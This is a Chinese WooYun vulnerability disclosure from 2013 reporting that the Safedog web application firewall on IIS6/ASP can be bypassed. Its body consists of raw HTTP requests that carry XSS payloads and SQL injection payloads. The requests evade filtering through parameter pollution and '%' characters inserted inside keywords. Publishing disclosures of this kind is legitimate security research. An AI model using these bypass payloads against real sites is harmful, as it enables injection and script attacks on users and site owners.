当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-044924

漏洞标题：安全狗绕过之注射和跨站

相关厂商：安全狗

漏洞作者： 路人甲

提交时间：2013-12-04 18:24

修复时间：2014-03-01 18:24

公开时间：2014-03-01 18:24

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-04： 细节已通知厂商并且等待厂商处理中
2013-12-09： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-02-02： 细节向核心白帽子及相关领域专家公开
2014-02-12： 细节向普通白帽子公开
2014-02-22： 细节向实习白帽子公开
2014-03-01： 细节向公众公开

简要描述：

嗯 环境是iis6+asp

详细说明：

只要清楚安全狗的数据流是

network->iis->safedog->asp.dll


就知道可能绕过的方式了

GET /1.asp?a=1<img%20src='#'%20onerror=alert() HTTP/1.1
Host: 192.168.199.134
Connection: keep-alive
Content-Length: 7


绕过了吧，呵呵

GET /1.asp?a=1%20and/*&a=*/1=1 HTTP/1.1
Host: 192.168.199.134
Connection: keep-alive
Content-Length: 7


绕过了吧 呵呵
再来POST基本没什么悬念

POST /1.asp HTTP/1.1
Host: 192.168.199.134
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 20
a=123%20a%nd%201=1


同理跨站

POST /1.asp HTTP/1.1
Host: 192.168.199.134
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 20
a=<scri%pt>alert()</scri%pt>


漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-03-01 18:24

厂商回复：

最新状态：

暂无